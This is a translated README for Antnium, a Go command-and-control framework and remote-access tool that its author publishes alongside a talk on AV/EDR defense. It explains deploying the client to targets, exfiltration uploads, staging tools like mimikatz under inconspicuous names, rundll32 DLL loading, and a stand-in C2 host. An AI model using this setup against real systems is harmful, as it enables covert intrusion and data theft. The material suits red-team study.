
Um framework C2 para acesso inicial em Go
Anti Tanium
Um framework de C2 e RAT escrito em Go.
Este código-fonte é publicado publicamente como referência para minha apresentação Develop your own RAT - AV & EDR Defense. O Antnium pretendia atender aos meus próprios requisitos, e não aos de outras pessoas. Funciona para as campanhas que realizei, mas não é necessariamente destinado a ser um framework de C2 genérico.
Há dois componentes:
Baixe e instale o Go (e o git).
Usamos 127.0.0.1:8080 como domínio de C2 aqui (localhost, pois iniciamos tanto o client.exe quanto o server.exe no mesmo host). Este também é o padrão, não é necessário alterar nada.
Verifique a campanha em campaign/campaign.go:
serverUrl = "http://127.0.0.1:8080"Compile no Windows:
> .\makewin.bat deploy
Compile no Linux:
$ make deploy
Inicie o servidor e o cliente:
cd build\
.\server.exe
.\static\client.exe
Acesse a WebUI abrindo a seguinte URL no navegador após iniciar o server.exe:
http://localhost:8080/webui/
static/: Diretório público para ferramentasColoque lá os arquivos que você deseja baixar em outras máquinas, como client.exe, wingman.exe. E suas ferramentas, como mimikatz.exe ou seatbelt.exe. Mas use nomes de arquivo menos chamativos.
Os arquivos também estão disponíveis via API /secure, solicitada com nomes de arquivo criptografados, e recebendo como resposta o arquivo criptografado e codificado em base64.
Arquivos dotNet podem ser executados usando a opção de execução remote (acessada via /secure).
upload/: Diretório privado para exfiltração de dadosOs uploads de arquivos do cliente serão armazenados aqui.
Instalação do Go:
apt install golang gcc-mingw-w64Compile client.exe e server.exe:
> .\makewin.bat deploy
Isso criará:
Inicie o server.exe:
> cd build
> .\server.exe
Antnium 0.1
Loaded 0 packets from db.packets.json
Loaded 0 clients from db.clients.json
Periodic DB dump enabled
Starting webserver on 127.0.0.1:8080
Inicie o client.exe:
> .\build\static\client.exe
Antnium 0.1
time="2021-09-02T21:48:16+02:00" level=info msg="UpstreamHttp: Use WS"
time="2021-09-02T21:48:16+02:00" level=info msg="Connecting to WS succeeded"
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
Compilar o cliente Windows a partir do Linux funciona, mas exige algum conhecimento manual de linha de comando do GO/gcc, por causa de algumas dependências do Windows. Se não funcionar de imediato, compile o cliente Windows no próprio Windows (makewin.bat client).
pkg/campaign/campaign.go conecta um client.exe compilado a um server.exe específico, formando uma campanha. Uma campanha tem chaves de criptografia e autenticação individuais, compartilhadas entre servidor e cliente.
type Campaign struct {
ApiKey string // Key used to access client facing REST
EncKey []byte // Key used to encrypt packets between server/client
ServerUrl string // URL of the server, as viewed from the clients
}
E a chave de administrador/operador da UI em pkt/server/config.go:
type Config struct {
AdminApiKey string
}
Observe que ServerUrl é a URL usada pelo cliente para toda interação com o servidor. É a URL pública do servidor, por exemplo, http://totallynotmalware.ch. O próprio server.exe pode estar atrás de um proxy reverso e ser iniciado com server.exe --listenaddr 127.0.0.1:8080 (portanto, ServerUrl não é necessariamente igual a listenaddr).
Ao conectar-se ao servidor pela primeira vez, você precisa acessar e configurar a UI primeiro.
Os arquivos da UI Angular são publicamente acessíveis. Suponha que ServerUrl="http://localhost:8080" e listenaddr=0.0.0.0:8080. Você pode:
http://localhost:8080/webui no seu navegadorng serve a partir do diretório antniumui e então abrir http://localhost:4200 no navegadorAo conectar à UI no navegador, você precisa primeiro configurar o IP do servidor e sua senha:
Testado em:
Compile no Windows:
> .\makewin.bat client
Implante-o no seu alvo.
Testado em:
No Linux:
$ make server
$ mkdir -p static upload
$ ./server --listenaddr 0.0.0.0:8080
O resultado é server.exe. Certifique-se de executá-lo no diretório onde você tem ou espera ter:
Ele iniciará um servidor REST nessa porta, fornecendo:
/: REST para os clientes/ws: Websocket para os clientes/admin: REST para a interface de administração (adicionar pacote, obter clientes)/adminws: Websocket para a interface de administração (enviar pacotes)/webui: Arquivos HTML para a interface de administração (código-fonte e html Angular, acessa REST e websocket)Coloque um proxy reverso na frente dele (certifique-se de que ele suporte websockets!) ou faça o encaminhamento de portas.
Para proxy manual, use a URL HTTP completa:
client.exe -proxy http://proxy:8080
ou via variáveis de ambiente:
export PROXY http://localhost:8080
./client
Wingman é basicamente o Cliente, mas sem conexão direta com o C2. Ele pode se conectar a um cliente existente em localhost:50000 (certifique-se de que ele esteja iniciado, se Campaign.AutoStartDownstreams for false).
Conecta-se à porta 50000 do localhost:
wingman.exe
Ou use rundll32.exe para carregar a dll (a versão de 64 bits do rundll32 em system32, não a versão de 32 bits em C:\Windows\SysWOW64\rundll32.exe):
C:\Windows\System32\rundll32.exe .\wingman.dll,Start
Ele aparecerá como downstream net#0.
go test ./...
Ainda pode haver condições de corrida. Se falhar uma vez, basta executá-lo novamente.